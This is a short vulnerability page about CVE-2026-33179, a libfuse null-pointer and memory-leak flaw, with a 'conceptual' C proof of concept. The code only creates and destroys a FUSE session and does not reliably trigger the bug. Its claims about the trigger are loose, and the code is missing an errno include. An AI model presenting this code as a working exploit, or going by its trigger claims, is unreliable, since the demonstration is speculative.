CVE-2026-33179 libfuse空指针引用与内存泄漏漏洞

/* * PoC for CVE-2026-33179 * Conceptual demonstration of triggering the vulnerable path. * Compile with: gcc -o poc_cve202633179 poc_cve202633179.c -lfuse3 * Note: Actual crash depends on memory pressure or numa_alloc_local failure simulation. */ #define FUSE_USE_VERSION 318 #include <fuse3/fuse.h> #include <stdio.h> #include <stdlib.h> #include <string.h> static int dummy_getattr(const char *path, struct stat *stbuf, struct fuse_file_info *fi) { (void) path; (void) stbuf; (void) fi; return -ENOSYS; } static struct fuse_operations dummy_oper = { .getattr = dummy_getattr, }; int main(int argc, char *argv[]) { struct fuse_args args = FUSE_ARGS_INIT(argc, argv); struct fuse_session *se; struct fuse_cmdline_opts opts; if (fuse_parse_cmdline(&args, &opts) != 0) { return 1; } // Attempt to create a new FUSE session. // If io_uring is enabled and memory allocation fails internally, // the NULL pointer dereference or leak may occur. se = fuse_session_new(&args, &dummy_oper, sizeof(dummy_oper), NULL); if (!se) { perror("fuse_session_new"); fprintf(stderr, "Potential trigger of CVE-2026-33179 if io_uring init failed silently.\n"); fuse_opt_free_args(&args); return 1; } // Clean up fuse_session_destroy(se); fuse_opt_free_args(&args); return 0; }